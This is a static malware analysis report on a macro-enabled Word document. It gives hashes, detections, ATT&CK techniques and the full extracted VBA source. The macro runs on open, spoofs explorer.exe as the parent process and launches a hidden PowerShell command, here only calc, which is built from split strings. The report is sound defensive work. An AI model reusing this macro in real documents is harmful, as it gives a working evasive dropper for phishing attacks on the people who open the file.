Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 166beb4db8b0e157…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-07-11 09:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: f0a0b4abf6024ba969059775fe86693c SHA-1: f586e7cddbb9759fa15e178dd18faa987e85c317 SHA-256: 166beb4db8b0e15779cffa133d0816cd5430c70224a26b8b885d482ee3346810
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening. The presence of VBA code that imports Windows API functions for process creation and manipulation strongly suggests the intent to download and execute a second-stage payload. ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10015188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015188-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4443 bytes
SHA-256: 4e77d7768409d2d6ec1488546d21e24b07c76661896e171ddc7bd07c7e8f974c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
                                   
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As LongPtr
     
    Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As LongPtr _
    ) As Long
     
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
    
Public Function gPBN(ByVal ProcName As String) As Integer
    
    ProcessFound = Process32First(snapshot, pEntry)
    
    Do
        If Left$(pEntry.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
            gPBN = pEntry.th32ProcessID
            ProcessFound = False
        Else
            ProcessFound = Process32Next(snapshot, pEntry)
        End If
    Loop While ProcessFound
End Function
    
Sub AutoOpen()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim sNull As String
    Dim pid As Integer
    Dim r As Integer
    Dim threadAttribSize As Integer
    Dim strCmdLine As String
      
    #If VBA7 And Win64 Then
        Dim hParent As LongPtr
    #Else
        Dim hParent As Long
    #End If
      
    strCmdLine = "powers"
    strCmdLine = strCmdLine + "hell.exe -c calc"
      
    r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
      
    pid = gPBN("explorer.exe")
    hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    
    r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVal 0&)
          
    si.STARTUPINFO.cb = LenB(si)
    si.STARTUPINFO.dwFlags = 1
    si.STARTUPINFO.wShowWindow = SW_HIDE

    r = CreateProcess( _
      sNull, _
      strCmdLine, _
      ByVal 0&, _
      ByVal 0&, _
      1&, _
      EXTENDED_STARTUPINFO_PRESENT Or CREATE_NEW_CONSOLE, _
      ByVal 0&, _
      sNull, _
      VarPtr(si), _
      pi _
    )
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 8c79e3328e01e005974c26133afbae10d7a8ac55c61da85ada09a842cb3316e6
Detection
ClamAV: Doc.Malware.Valyria-10015188-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.